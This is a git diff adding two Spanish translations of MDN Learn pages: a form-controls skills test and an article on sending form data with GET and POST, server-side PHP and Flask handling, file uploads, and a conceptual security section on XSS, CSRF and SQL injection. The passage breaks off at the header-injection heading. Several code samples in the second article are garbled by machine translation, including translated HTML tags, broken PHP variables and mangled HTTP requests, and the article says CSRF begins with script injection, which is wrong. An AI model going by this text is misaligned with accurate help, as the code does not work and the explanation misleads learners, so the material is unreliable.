+</ol>
diff --git a/files/es/learn/html/forms/prueba_tus_habilidades_colon__otros_controles/index.html b/files/es/learn/html/forms/prueba_tus_habilidades_colon__otros_controles/index.html
new file mode 100644
index 0000000000..1496025a8d
--- /dev/null
+++ b/files/es/learn/html/forms/prueba_tus_habilidades_colon__otros_controles/index.html
@@ -0,0 +1,87 @@
+---
+title: 'Prueba tus habilidades: Otros controles'
+slug: 'Learn/HTML/Forms/Prueba_tus_habilidades:_Otros_controles'
+translation_of: 'Learn/Forms/Test_your_skills:_Other_controls'
+---
+<div>{{learnsidebar}}</div>
+
+<p>El objetivo de esta pueba de habilidad es evaluar si has comprendido nuestro artículo <a href="/en-US/docs/Learn/Forms/Other_form_controls">Otros controles de formulario</a>.</p>
+
+<div class="blockIndicator note">
+<p><strong>Nota</strong>: Puedes intentar resolver esta prueba en los editores interactivos más abajo, sin embargo, puede ser útil descargar el código y usar una herramienta en línea como <a href="https://codepen.io/" rel="noopener">CodePen</a>, <a href="https://jsfiddle.net/" rel="noopener">jsFiddle</a>, o <a href="https://glitch.com/" rel="noopener">Glitch</a> para trabajar en las tareas.<br>
+ <br>
+ Si te atascas, pide ayuda — mira la sección <a href="https://wiki.developer.mozilla.org/es/docs/Learn/HTML/Introduccion_a_HTML/Prueba_tus_habilidades:_Enlaces#Evaluaci%C3%B3n_o_ayuda_adicional">Evaluación o ayuda adicional</a> al final de esta página.</p>
+</div>
+
+<h2 id="Otros_controles_1">Otros controles 1</h2>
+
+<p>En nuestra primera evaluación de "Otros controles", te pediremos crear una entrada de texto de líneas múltiples.</p>
+
+<ol>
+ <li>Crea una entrada básica de texto de múltiples líneas.</li>
+ <li>Asócialo semánticamente con la etiqueta de "Comentario" asociado.</li>
+ <li>Define la entrada con 35 columnas y 10 filas de espacio en cual agregar comentarios.</li>
+ <li>Define para los comentatios una longitud máxima de 100 caracteres.</li>
+</ol>
+
+<p>Intenta actualizar el código en vivo más abajo para mostrar el ejemplo terminado:</p>
+
+<p>{{EmbedGHLiveSample("learning-area/html/forms/tasks/other-controls/other-controls1.html", '100%', 700)}}</p>
+
+<div class="blockIndicator note">
+<p><a href="https://github.com/mdn/learning-area/blob/master/html/forms/tasks/other-controls/other-controls1-download.html" rel="noopener">Descarga el inicio de esta tarea</a> para trabajar en tu propio editor o en un editor en línea.</p>
+</div>
+
+<h2 id="Otros_controles_2">Otros controles 2</h2>
+
+<p>Ahora es tiempo de implementar un menú desplegable, para permitir al usuario escoger su comida favorita de las opciones entregadas.</p>
+
+<ol>
+ <li>Crea tu estructura de caja básica.</li>
+ <li>Asóciala semánticamente con la etiqueta de "comentarios" entregada.</li>
+ <li>Dentro de la lista, divide las opciones en 2 subgrupos - "principales" y "meriendas".</li>
+</ol>
+
+<p>Intenta actualizar el código en vivo más abajo para mostrar el ejemplo terminado:</p>
+
+<p>{{EmbedGHLiveSample("learning-area/html/forms/tasks/other-controls/other-controls2.html", '100%', 700)}}</p>
+
+<div class="blockIndicator note">
+<p><a href="https://github.com/mdn/learning-area/blob/master/html/forms/tasks/other-controls/other-controls2-download.html" rel="noopener">Descarga el inicio de esta tarea</a> para trabajar en tu propio editor o en un editor en línea.</p>
+</div>
+
+<h2 id="Otros_controles_3">Otros controles 3</h2>
+
+<p>En la tarea final de esta evaluación, comenzaremos con la misma lista de opciones de comida. Sin embargo, esta vez queremos hacer las cosas de otra forma:</p>
+
+<ol>
+ <li>Crea una entrada de texto básica, que esté asociada semánticamente con la etiqueta entregada.</li>
+ <li>Coloca las opciones de comida en una lista que pueda ser asociada con una entrada de formulario.</li>
+ <li>Asocia la lista con tu entrada de texto, de forma que cuando escribas caracteres, cualquier opción de la lista que coincida con la secuencia de caracteres ingresada, aparezca en un listado desplegable como sugerencia de autocompletado.</li>
+</ol>
+
+<p>Intenta actualizar el código en vivo más abajo para mostrar el ejemplo terminado:</p>
+
+<p>{{EmbedGHLiveSample("learning-area/html/forms/tasks/other-controls/other-controls3.html", '100%', 700)}}</p>
+
+<div class="blockIndicator note">
+<p><a href="https://github.com/mdn/learning-area/blob/master/html/forms/tasks/other-controls/other-controls3-download.html" rel="noopener">Descarga el inicio de esta tarea</a> para trabajar en tu propio editor o en un editor en línea.</p>
+</div>
+
+<h2 id="Evaluación_o_ayuda_adicional">Evaluación o ayuda adicional</h2>
+
+<p>Puedes practicar estos ejemplos en los editores interactivos que se encuentran más arriba.</p>
+
+<p>Si deseas que tu trabajo sea evaluado, o estás atorado y quieres solicitar ayuda:</p>
+
+<ol>
+ <li>Pon tu trabajo en un editor en línea con capacidad de compartir como <a href="https://codepen.io/" rel="noopener">CodePen</a>, <a href="https://jsfiddle.net/" rel="noopener">jsFiddle</a>, o <a href="https://glitch.com/" rel="noopener">Glitch</a>. Puedes escribir el código por ti mismo, o usar los archivos de punto de inicio enlazados en las secciones superiores.</li>
+ <li>Escribe una publicación solicitando evaluacion y/o ayuda en el <a href="https://discourse.mozilla.org/c/mdn/learn" rel="noopener">MDN Discourse forum Learning category</a>. Tu publicación debería incluir:
+  <ul>
+   <li>Un título descriptivo como "Solicito evaluacion para la prueba de habilidad de Otros controles 1".</li>
+   <li>Detalles de lo que ya has intentado, y que te gustaría que hiciéramos, por ejemplo, si estas atascado y necesitas ayuda, o quieres una evaluación.</li>
+   <li>Un enlace al ejemplo que quieres que sea evaluado o por el que necesitas ayuda en un  editor en linea con capacidad de compartir (como se mencionó en el paso 1 más arriba). Esta es una buena práctica  - Es muy dificil ayudar a alguien con un problema de codificación si no puedes ver su código.</li>
+   <li>Un enlace a la tarea o página de evaluacion actual, para que podamos encontrar la pregunta con la cual necesitas ayuda.</li>
+  </ul>
+ </li>
+</ol>
diff --git a/files/es/learn/html/forms/sending_and_retrieving_form_data/index.html b/files/es/learn/html/forms/sending_and_retrieving_form_data/index.html
new file mode 100644
index 0000000000..d6ca2161a4
--- /dev/null
+++ b/files/es/learn/html/forms/sending_and_retrieving_form_data/index.html
@@ -0,0 +1,328 @@
+---
+title: Sending form data
+slug: Learn/HTML/Forms/Sending_and_retrieving_form_data
+translation_of: Learn/Forms/Sending_and_retrieving_form_data
+---
+<div>{{LearnSidebar}} {{PreviousMenuNext("Aprende / HTML / Formularios / The_native_form_widgets", "Aprender / html / Formularios / Form_validation", "Aprender / html / Forms")}}</div>
+
+<p class="summary">En este artículo se analiza lo que sucede cuando un usuario envía un formulario - ¿A dónde van los datos y cómo los manejamos cuando llegan allí? - También tenemos en cuenta algunos de los problemas de seguridad asociados con el envío de los datos del formulario.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Requisitos previos:</th>
+   <td>Conocimientos básicos de informática, una <a href="/en-US/docs/Learn/HTML/Introduction_to_HTML">comprensión de HTML</a> , y conocimientos básicos de <a href="/en-US/docs/Web/HTTP/Basics_of_HTTP">HTTP</a> y <a href="/en-US/docs/Learn/Server-side/First_steps">programación del lado del servidor</a> .</td>
+  </tr>
+  <tr>
+   <th scope="row">Objetivo:</th>
+   <td>Para entender lo que sucede cuando se envía los datos del formulario, incluyendo la obtención de una idea básica de cómo se procesan los datos en el servidor</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="¿A_dónde_van_los_datos">¿A dónde van los datos?</h2>
+
+<p>Aquí vamos a discutir lo que ocurre con los datos cuando se envía un formulario.</p>
+
+<h3 id="Sobre_la_arquitectura_cliente_servidor">Sobre la arquitectura cliente / servidor</h3>
+
+<p>La web se basa en una arquitectura cliente / servidor muy básica que se puede resumir de la siguiente manera: un cliente (normalmente un navegador Web) envía una petición a un servidor (la mayoría de las veces un servidor web como <a href="http://httpd.apache.org/" rel="external" title="http://www.apache.org/">Apache</a> , <a href="http://nginx.com/" rel="external" title="http://nginx.com/">Nginx</a> , <a href="http://www.iis.net/" rel="external" title="http://www.iis.net/">IIS</a> , <a href="http://tomcat.apache.org/" rel="external" title="http://tomcat.apache.org/">Tomcat</a> , etc.), utilizando el <a href="/en-US/docs/HTTP" title="/en-US/docs/HTTP">protocolo HTTP</a> . El servidor responde a la solicitud utilizando el mismo protocolo.</p>
+
+<p><img alt="Un esquema básico de la arquitectura cliente Web / servidor" src="/files/4291/client-server.png" style="display: block; height: 141px; margin: 0px auto; width: 400px;"></p>
+
+<p>En el lado del cliente, un formulario HTML no es más que una manera fácil de usar conveniente para configurar una petición HTTP para enviar datos a un servidor. Esto permite al usuario para proporcionar información a ser entregada en la petición HTTP.</p>
+
+<div class="note">
+<p><strong>Nota</strong> : Para tener una mejor idea de cómo funcionan las arquitecturas cliente-servidor, lea nuestra <a href="/en-US/docs/Learn/Server-side/First_steps">programación de páginas web del lado del servidor, módulo: primeros pasos</a>. En el lado del cliente: Debes definir como envías los datos.</p>
+</div>
+
+<p>El elemento {{HTMLElement ( "form")}} define cómo se enviarán los datos. Todos sus atributos están diseñados para que pueda configurar la solicitud que se enviará cuando un usuario pulsa un botón de envío. Los dos atributos más importantes son {{htmlattrxref ( "acción", "forma")}} y {{htmlattrxref ( "método", "forma")}}.</p>
+
+<h4 id="El_atributo_htmlattrxref_acción_forma.">El atributo {{htmlattrxref ( "acción", "forma")}}.</h4>
+
+<p>Este atributo define el lugar donde los datos se envian. Su valor debe ser una dirección URL válida. Si no se proporciona este atributo, los datos serán enviados a la dirección URL de la página que contiene el formulario.</p>
+
+<p>En este ejemplo, los datos se envían a una dirección URL absoluta - <code>http://foo.com</code>:</p>
+
+<pre class="brush: html">&lt;Acción del formulario = "http://foo.com"&gt;</pre>
+
+<p class="brush: html">Aquí, nosotros usamos una URL relativa - los datos se envían a una dirección URL diferente en el servidor:</p>
+
+<pre class="brush: html">&lt;Acción del formulario = "/ somewhere_else"&gt;</pre>
+
+<p class="brush: html">Cuando se especifica sin atributos, como abajo, el {{HTMLElement ( "form")}} los datos se envían a la misma página en que la "forma" está presente :</p>
+
+<pre class="brush: html">&lt;Form&gt;</pre>
+
+<p class="brush: html">Muchas páginas más antiguas utilizan la siguiente notación para indicar que los datos deben ser enviados a la misma página que contiene el formulario; Esto fue necesario porque hasta HTML5, el atributo {{htmlattrxref ( "acción", "form")}} fue requerido . Esto ya no es necesario.</p>
+
+<pre class="brush: html">&lt;Form action = "#"&gt;</pre>
+
+<div class="note">
+<p><strong>Nota:</strong> Es posible especificar una dirección URL que utiliza el protocolo HTTPS (HTTP seguro). Al hacer esto, los datos se cifran junto con el resto de la solicitud, incluso si el propio formulario está alojado en una página insegura se accede a través de HTTPS. Por otro lado, si el formulario está alojado en una página segura, pero se especifica una dirección URL HTTP insegura con el atributo {{htmlattrxref ( "acción", "form")}} , todos los navegadores mostrarán una advertencia de seguridad para el usuario cada vez  que intenten enviar datos, ya que estos no se pueden cifrar.</p>
+</div>
+
+<h4 id="El_atributo_htmlattrxref_método_form">El atributo {{htmlattrxref ( "método", "form")}}</h4>
+
+<p>Este atributo define cómo se envían los datos. El <a href="/en-US/docs/HTTP" title="/en-US/docs/HTTP">protocolo HTTP</a> proporciona varias formas de realizar una solicitud; Los datos del formulario HTML se pueden transmitir a través de un número de diferentes queridos, los más comunes de los cuales son el método <code>GET</code> y el método <code>POST</code>.</p>
+
+<p>Para entender la diferencia entre estos dos métodos, vamos a dar un paso atrás y examinar cómo funciona HTTP. Cada vez que desee llegar a un recurso en la Web, el navegador envía una petición a una URL. Una petición HTTP consta de dos partes: un encabezado que contiene un conjunto de metadatos mundial sobre las capacidades del navegador, y un cuerpo que puede contener la información necesaria paraque el servidor pueda procesar la petición específica.</p>
+
+<h5 id="El_método_GET">El método GET</h5>
+
+<p>El método <code>GET</code> es  utilizado por el navegador para pedir al servidor que se envíe de vuelta un recurso dado: "Hey servidor, quiero conseguir este recurso." En este caso, el navegador envía un cuerpo vacío. Debido a que el cuerpo está vacío, si un formulario se envía utilizando este método, los datos enviados al servidor se anexan a la URL.</p>
+
+<p>Considere la siguiente forma:</p>
+
+<pre class="brush: html">&lt;form action="http://foo.com" method="get"&gt;
+  &lt;div&gt;
+    &lt;label for="decir"&gt; ¿Qué saludo quiere decir? &lt;/label&gt;
+    &lt;input name="decir" id="decir" value="Hola"&gt;
+  &lt;/div&gt;
+  &lt;div&gt;
+    &lt;label for="para"&gt; ¿A quién se lo quiere decir? &lt;/label&gt;
+    &lt;input name="para" value="mamá"&gt;
+  &lt;/div&gt;
+  &lt;div&gt;
+    &lt;button&gt; Botón enviar mis saludos &lt;/ button&gt;
+  &lt;/div&gt;
+&lt;/form&gt;</pre>
+
+<p>Dado que el método <code>GET</code>ha conseguido el recurso, verá en la URL lo siguiente en la barra de direcciones del navegador <code>www.foo.com/?say=Hi&amp;to=Mom</code>  cuando se envía el formulario.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/14685/url-parameters.png" style="display: block; margin: 0 auto;">Los datos se añaden a la URL como una serie de pares de nombre / valor. Después que la dirección web URL ha terminado, se incluye un signo de interrogación ( <code>?</code>) seguido de los pares de nombre / valor, cada uno separado por un signo ( <code>&amp;</code>). En este caso estamos pasando dos piezas de datos en el servidor:</p>
+
+<ul>
+ <li><code>say</code>, Que tiene un valor de <code>Hi</code></li>
+ <li><code>to</code>, Que tiene un valor de <code>Mom</code></li>
+</ul>
+
+<p>La solicitud HTTP se ve así:</p>
+
+<pre>GET /? = Decir Hola &amp; a = mamá HTTP / 1.1
+Anfitrión: foo.com</pre>
+
+<div class="note">
+<p><strong>Nota</strong> : Puede encontrar este ejemplo en GitHub - ver <a href="https://github.com/mdn/learning-area/blob/master/html/forms/sending-form-data/get-method.html">llegar-method.html</a> ( <a href="https://mdn.github.io/learning-area/html/forms/sending-form-data/get-method.html">verlo en directo también</a> ).</p>
+</div>
+
+<h5 id="El_método_POST">El método POST</h5>
+
+<p>El <code>POST</code>método es un poco diferente. Es el método que el navegador utiliza para comunicarse con el servidor cuando se pide una respuesta que tenga en cuenta los datos proporcionados en el cuerpo de la petición HTTP: "Hey servidor, echa un vistazo a estos datos y envíame de vuelta un resultado apropiado." Si un formulario se envía utilizando este método, los datos se anexan al cuerpo de la petición HTTP.</p>
+
+<p>Veamos un ejemplo - se trata de algo similar a como se vió en el método <code>GET</code>del apartado anterior, pero con el {{htmlattrxref ( "método", "form")}} atributo establecido <code>post</code>.</p>
+
+<pre class="brush: html">&lt;Form action = "http://foo.com" method = "post"&gt;
+  &lt;Div&gt;
+    &lt;Label for = "dice"&gt; Lo saludo qué quiere decir? &lt;/ Label&gt;
+    &lt;Input name = "decir" id = "decir" value = "Hola"&gt;
+  &lt;/ Div&gt;
+  &lt;Div&gt;
+    &lt;Label for = "para"&gt; ¿Quién usted quiere decir que a? &lt;/ Label&gt;
+    &lt;Input name = "a" value = "mamá"&gt;
+  &lt;/ Div&gt;
+  &lt;Div&gt;
+    &lt;&gt; Botón enviar mis saludos &lt;/ botón&gt;
+  &lt;/ Div&gt;
+&lt;/ Form&gt;</pre>
+
+<p>Cuando el formulario se envía mediante el método <code>POST</code>, no se obtienen los datos adjuntos en la dirección URL, y la solicitud HTTP se parece a esto y los datos son incluidos en el cuerpo de la petición en su lugar:</p>
+
+<pre>POST / HTTP/1.1
+Anfitrión: foo.com
+Content-Type: application / x-www-form-urlencoded
+Content-Length: 13
+
+decir = Hi &amp; a = mamá</pre>
+
+<p>La cabecera <code>Content-Length</code> indica el tamaño del cuerpo, y la cabecera <code>Content-Type</code> indica el tipo de recurso que se envía al servidor. Discutiremos estas cabeceras más adelante.</p>
+
+<div class="note">
+<p><strong>Nota</strong> : Puede encontrar este ejemplo en GitHub - ver <a href="https://github.com/mdn/learning-area/blob/master/html/forms/sending-form-data/post-method.html">post-method.html</a> ( <a href="https://mdn.github.io/learning-area/html/forms/sending-form-data/post-method.html">verlo en directo también</a> ).</p>
+</div>
+
+<h4 id="Visualización_de_peticiones_HTTP">Visualización de peticiones HTTP</h4>
+
+<p>Las peticiones HTTP nunca se muestran al usuario (si quieres verlos, es necesario utilizar herramientas como el <a href="/en-US/docs/Tools/Network_Monitor">Monitor de red Firefox</a> o las <a href="https://developers.google.com/chrome-developer-tools/" title="https://developers.google.com/chrome-developer-tools/">herramientas de desarrollo de Chrome</a> ). A modo de ejemplo, los datos del formulario se muestran a continuación en la pestaña de Chrome red:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/14691/network-monitor.png" style="border-style: solid; border-width: 1px; display: block; margin: 0px auto;"></p>
+
+<p>Lo único que se muestra al usuario es la dirección URL llamada. Como mencionamos anteriormente, con una petición<code>GET</code> del usuario,se verán los datos en su barra de direcciones, pero con una petición <code>POST</code> no será de esta manera. Esto puede ser muy importante por dos razones:</p>
+
+<ol>
+ <li>Si necesita enviar una contraseña (o cualquier otra pieza sensible de los datos), nunca utilice el método<code>GET</code> o se arriesga a mostrar en la barra de direcciones, lo que sería muy inseguro.</li>
+ <li>Si necesita enviar una gran cantidad de datos, el método <code>POSt</code> es preferible debido a que algunos navegadores limitan los tamaños de las direcciones URL. Además, muchos servidores limitan la longitud de las URL que aceptan.</li>
+</ol>
+
+<h3 id="En_el_lado_Servidor_la_recuperación_de_los_datos">En el lado  Servidor: la recuperación de los datos</h3>
+
+<p>Sea cual sea el método HTTP que elija, el servidor recibe una cadena que será analizada con el fin de obtener los datos como una lista de pares clave / valor. La forma de acceder a esta lista depende de la plataforma de desarrollo que use y de las estructuras específicas que pueda estar usando con él. La tecnología se utiliza también determina cómo se manejan claves duplicadas; A menudo,se da prioridad al valor recibido más recientemente para una clave dada .</p>
+
+<h4 id="Ejemplo_PHP_Raw">Ejemplo: PHP Raw</h4>
+
+<p><a href="http://php.net/">PHP</a> ofrece algunos objetos globales para acceder a los datos. Suponiendo que usted ha utilizado el método<code>POST</code>, el siguiente ejemplo sólo toma los datos y lo muestra al usuario. Por supuesto, lo que se hace con los datos depende de usted. Es posible visualizarlos, almacenarlos en una base de datos, enviarlos por correo electrónico, o procesarlos de alguna otra manera.</p>
+
+<pre class="brush: php">&lt;? Php
+  // La variable global $ _POST que permite acceder a los datos enviados con el método POST por su nombre
+  // Para acceder a los datos enviados con el método GET, puede usar $ _GET
+  $ = Decir htmlspecialchars ($ _POST [ 'decir']);
+  $ A = htmlspecialchars ($ _POST [ 'a']);
+
+  echo $ digamos, '', $ a;
+?&gt;</pre>
+
+<p>Este ejemplo muestra una página con los datos que enviamos. Esto se puede ver en acción en nuestro archivo ejemplo <a href="https://github.com/mdn/learning-area/blob/master/html/forms/sending-form-data/php-example.html">php-example.html</a> - que contiene un ejemplo similar en forma como el que hemos visto antes, con un <code>method</code>con parámetro <code>post</code>y un <code>action</code> con parámetro <code>php-example.php</code> Cuando se envía, envía los datos del formulario al script <a href="https://github.com/mdn/learning-area/blob/master/html/forms/sending-form-data/php-example.php">php-ejemplo.php</a> , que contiene el código de PHP que se ha visto en el bloque anterior. Cuando se ejecuta este código, la salida en el navegador es <code>Hi Mom</code>.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/14693/php-result.png" style="display: block; margin: 0 auto;"></p>
+
+<div class="note">
+<p><strong>Nota</strong> : Este ejemplo no funcionará cuando se carga en un navegador localmente - los navegadores no pueden interpretar  código PHP, por lo que cuando se envía el formulario en el navegador sólo  se puede ofrecer la descarga del archivo PHP para usted. Para conseguir que funcione, es necesario ejecutar el ejemplo a través de un servidor PHP de algún tipo. Buenas opciones para probar PHP locales son <a href="https://www.mamp.info/en/downloads/">MAMP</a> (Mac y Windows) y <a href="http://ampps.com/download">AMPPS</a> (Mac, Windows, Linux).</p>
+</div>
+
+<h4 id="Ejemplo_Python">Ejemplo: Python</h4>
+
+<p>Este ejemplo muestra como se puede utilizar Python para hacer la misma cosa - mostrar los datos presentados en una página web. Se utiliza el <a href="http://flask.pocoo.org/">framework Flask</a> para la prestación de las plantillas, el manejo de la presentación de datos de formulario, etc (ver <a href="https://github.com/mdn/learning-area/blob/master/html/forms/sending-form-data/python-example.py">python-example.py</a> ).</p>
+
+<pre class="line-numbers  language-html"><code class="language-html">from flask import Flask, render_template, request
+app = Flask(__name__)
+
+@app.route('/', methods=['GET', 'POST'])
+def form():
+    return render_template('form.html')
+
+@app.route('/hello', methods=['GET', 'POST'])
+def hello():
+    return render_template('greeting.html', say=request.form['say'], to=request.form['to'])
+
+if __name__ == "__main__":
+    app.run()</code></pre>
+
+<p>Las dos plantillas de referencia en el código anterior son los siguientes:</p>
+
+<ul>
+ <li><a href="https://github.com/mdn/learning-area/blob/master/html/forms/sending-form-data/templates/form.html">form.html</a> : La misma forma que hemos visto anteriormente en la {{anch ( "El método POST")}} sección, pero con el <code>action</code>conjunto a <code>\{{ url_for('hello') }}</code>. (Esta es una <a href="http://jinja.pocoo.org/docs/2.9/">Jinja2</a> plantilla, que es básicamente HTML, pero puede contener llamadas al código Python que ejecuta el servidor web que figura entre corchetes. <code>url_for('hello')</code>Básicamente está diciendo "redirigir a <code>/hello</code>cuando se envía el formulario").</li>
+ <li><a href="https://github.com/mdn/learning-area/blob/master/html/forms/sending-form-data/templates/greeting.html">greeting.html</a> :<span id="result_box" lang="es"><span>Esta plantilla solo contiene una línea que representa los dos bits de datos que se le pasan cuando se procesa</span></span>. Esto se hace a través de la función <code>hello()</code>que se ha visto anteriormente, y que se ejecuta cuando la URL<code>/hello</code> es accedida.</li>
+</ul>
+
+<div class="note">
+<p><strong>Nota</strong> : Una vez más, este código no funcionará si sólo intenta cargarlo en un navegador directamente. Python funciona un poco diferente a PHP - Para ejecutar este código local que necesita para <a href="/en-US/docs/Learn/Server-side/Django/development_environment#Installing_Python_3">instalar Python / PIP</a> , a continuación, instalar el frasco utilizando <code>pip3 install flask</code>. En este punto, usted debe ser capaz de ejecutar el ejemplo utilizando <code>python3 python-example.py</code>, a continuación, deberá navegar a <code>localhost:5000</code>en su barra de direcciones.</p>
+</div>
+
+<h4 id="Otros_lenguajes_y_frameworks">Otros lenguajes y frameworks</h4>
+
+<p>Hay muchas otras tecnologías del lado del servidor que puede utilizar para el manejo de formularios, incluyendo <a href="/en-US/docs/" title="/en-US/docs/">Perl</a> , <a href="/en-US/docs/" title="/en-US/docs/">Java</a> , <a href="http://www.microsoft.com/net" title="http://www.microsoft.com/net">.Net</a> , <a href="/en-US/docs/" title="/en-US/docs/">Rubí</a> , etc. Sólo tiene que elegir el que más le guste. Dicho esto, vale la pena señalar que es muy raro de usar estas tecnologías directamente porque esto puede ser complicado. Es más común el uso de uno de los muchos marcos de trabajo para un manejo más fácil del código, tales como:</p>
+
+<ul>
+ <li><a href="http://symfony.com/" rel="external" title="http://symfony.com/">Symfony</a> para PHP</li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django" rel="external" title="https://www.djangoproject.com/">Django</a> para Python (un poco más pesado que el <a href="http://flask.pocoo.org/">frasco</a> , pero con más herramientas y opciones).</li>
+ <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs">Express</a> de Node.js</li>
+ <li><a href="http://rubyonrails.org/" rel="external" title="http://rubyonrails.org/">Ruby on Rails</a> Ruby</li>
+ <li><a href="http://grails.org/" rel="external" title="http://grails.org/">Grails</a> para Java</li>
+ <li>etc.</li>
+</ul>
+
+<p>Vale la pena señalar que incluso el uso de estos marcos, trabajar con formularios no es necesariamente <em>fácil</em> . Pero es mucho más fácil que tratar de escribir toda la funcionalidad  a partir de cero, además, le ahorrará mucho tiempo.</p>
+
+<div class="note">
+<p><strong>Nota</strong> : Está más allá del alcance de este artículo para enseñarle cualquier lenguaje del lado del servidor o marcos de trabajo. Los enlaces de arriba le dará un poco de ayuda,en caso de que desee aprender.</p>
+</div>
+
+<h2 id="Un_caso_especial_el_envío_de_archivos">Un caso especial: el envío de archivos</h2>
+
+<p>El envío de archivos con formularios HTML es un caso especial. Los archivos son datos binarios - o considerados como tal - mientras que todos los demás datos son datos de texto. Debido a que HTTP es un protocolo de texto, existen requisitos especiales para el manejo de datos binarios.</p>
+
+<h3 id="El_htmlattrxref_enctype_form_atributo">El {{htmlattrxref ( "enctype", "form")}} atributo</h3>
+
+<p>Este atributo le permite especificar el valor de la cabecera <code>Content-Type</code> HTTP incluido en la solicitud que se genera cuando se envía el formulario. Esta cabecera es muy importante porque le dice al servidor qué tipo de datos se está enviando. Por defecto, su valor es <code>application/x-www-form-urlencoded</code>. En términos humanos, esto significa: "<span class="short_text" id="result_box" lang="es"><span>Estos son datos de formulario que han sido codificados dentro de los parámetros de la URL</span></span>."</p>
+
+<p>Si desea enviar archivos, es necesario tomar tres pasos adicionales:</p>
+
+<ul>
+ <li>Ajuste el {{htmlattrxref ( "método", "form")}} atributo <code>POST</code>porque el contenido del archivo no se puede poner dentro de los parámetros de URL.</li>
+ <li>Establecer el valor de {{htmlattrxref ( "enctype", "form")}} que <code>multipart/form-data</code>debido a que los datos se dividen en múltiples partes, una para cada archivo más uno para los datos de texto incluidos en el cuerpo del formulario (si también se introduce el texto en la formulario).</li>
+ <li>Incluir uno o más widgets <a href="/en-US/docs/Learn/HTML/Forms/The_native_form_widgets#File_picker">selector de archivos</a> para permitir a los usuarios seleccionar el archivo (s) que será subido.</li>
+</ul>
+
+<p>Por ejemplo:</p>
+
+<pre class="brush: html">&lt;Form method = "post" enctype = "multipart / form-data"&gt;
+  &lt;Div&gt;
+    &lt;Label for = "archivo"&gt; ​​Elija un archivo &lt;/ label&gt;
+    &lt;Input type = "file" id = "file" name = "myFile"&gt;
+  &lt;/ Div&gt;
+  &lt;Div&gt;
+    &lt;&gt; Botón Enviar el archivo &lt;/ botón&gt;
+  &lt;/ Div&gt;
+&lt;/ Form&gt;</pre>
+
+<div class="note">
+<p><strong>Nota:</strong> Algunos navegadores son compatibles con la {{htmlattrxref ( "múltiple", "input")}} atributo en el elemento {{HTMLElement ( "input")}}, lo que permite elegir más de un archivo  para subir con un único elemento <code>&lt;input&gt;</code> . Cómo el servidor gestiona los archivos realmente depende de la tecnología utilizada en el servidor. Como se mencionó anteriormente, el uso de un marco le hará la vida mucho más fácil.</p>
+</div>
+
+<div class="warning">
+<p><strong>Advertencia:</strong> Muchos servidores están configurados con un límite de tamaño para los archivos y las peticiones HTTP con el fin de prevenir el abuso. Es importante comprobar este límite con el administrador del servidor antes de enviar un archivo.</p>
+</div>
+
+<h2 id="Precauciones_de_seguridad_comunes">Precauciones de seguridad comunes</h2>
+
+<p>Cada vez que envíe datos a un servidor, debe tener en cuenta la seguridad de sus formularios HTML que son con mucho, los vectores de ataque más comunes (en lugares donde ocurren los ataques contra servidores). Los problemas nunca vienen de los formulariosHTML mismos - sino que proceden de cómo el servidor maneja los datos.</p>
+
+<p><span id="result_box" lang="es"><span>Dependiendo de lo que estés haciendo, hay algunos problemas de seguridad muy conocidos con los que te enfrentarás</span></span>:</p>
+
+<h3 id="XSS_y_CSRF">XSS y CSRF</h3>
+
+<p>Cross-Site Scripting (XSS) y Cross-Site Request Falsification (CSRF) son tipos comunes de ataques que se producen cuando se muestran los datos enviados por un usuario y que son devueltos a otro usuario para otro uso.</p>
+
+<p>XSS permite a los atacantes inyectar secuencias de comandos del lado del cliente en páginas Web visitadas por otros usuarios. Una vulnerabilidad de secuencias de comandos entre sitios, puede ser utilizada por los atacantes para eludir los controles de acceso, como la <a href="/en-US/docs/JavaScript/Same_origin_policy_for_JavaScript" title="/ Es-ES / docs / JavaScript / Same_origin_policy_for_JavaScript">política del mismo origen</a> . El efecto de estos ataques pueden ir desde una pequeña molestia a un riesgo de seguridad.</p>
+
+<p>Los ataques CSRF son similares a los ataques XSS porque comienzan de la misma manera - mediante la inyección de comandos de cliente en páginas Web - pero su objetivo es diferente. Los atacantes CSRF tratan de escalar privilegios  de un usuario de mayores privilegios (por ejemplo, un administrador de sitio) para realizar una acción que no deberían ser capaces de hacer (por ejemplo, el envío de datos a un usuario no fiable).</p>
+
+<p>Los ataques XSS explotan la confianza depositada a un usuario de un sitio web, mientras que los ataques CSRF abusan de la confianza que un sitio web ofrece para sus usuarios.</p>
+
+<p>Para evitar estos ataques, siempre se deben comprobar los datos que un usuario envía a su servidor y (si es necesario mostrarlos) <span id="result_box" lang="es"><span>trate de no mostrar el contenido HTML provisto por el usuario</span></span>. En su lugar, se deben procesar los datos proporcionados por el usuario para no mostrarlos al pie de la letra. <span style="line-height: 1.5;">Casi todos los marcos de trabajo (<strong>frameworks</strong>) en el mercado hoy implementan un filtro mínimo que eliminan el código HTML {{HTMLElement ( "script")}}, {{HTMLElement ( "iframe")}} y {{HTMLElement ( "objeto")}} si fuesen enviados por cualquier usuario. Esto ayuda a mitigar el riesgo, pero no necesariamente lo erradica.</span></p>
+
+<h3 id="Inyección_SQL">Inyección SQL</h3>
+
+<p>La inyección de SQL es un tipo de ataque que intenta realizar acciones en una base de datos utilizada por el sitio web de destino. Esto normalmente implica el envío de una petición SQL con la esperanza de que el servidor la ejecutará (por lo general cuando el servidor de aplicaciones intenta almacenar los datos enviados por un usuario). Esto es en realidad <a href="https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project" rel="external" title="https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project">uno de los principales vectores de ataque contra los sitios web </a> .</p>
+
+<p>Las consecuencias pueden ser terribles, que van desde la pérdida de datos o hasta que los ataques  tomen el control de la infraestructura de todo el sitio web mediante el uso de una escalada de privilegios. Esta es una amenaza muy seria y nunca debe almacenar los datos enviados por un usuario sin realizar alguna sanitización (por ejemplo, mediante el uso <code><a href="http://www.php.net/manual/en/function.mysql-real-escape-string.php" rel="external" title="http://www.php.net/manual/en/function.mysql-real-escape-string.php">mysql_real_escape_string()</a></code>de una infraestructura de PHP / MySQL).</p>
+
+<h3 id="Inyección_de_cabecera_HTTP_y_la_inyección_de_correo_electrónico">Inyección de cabecera HTTP y la inyección de correo electrónico</h3>
+
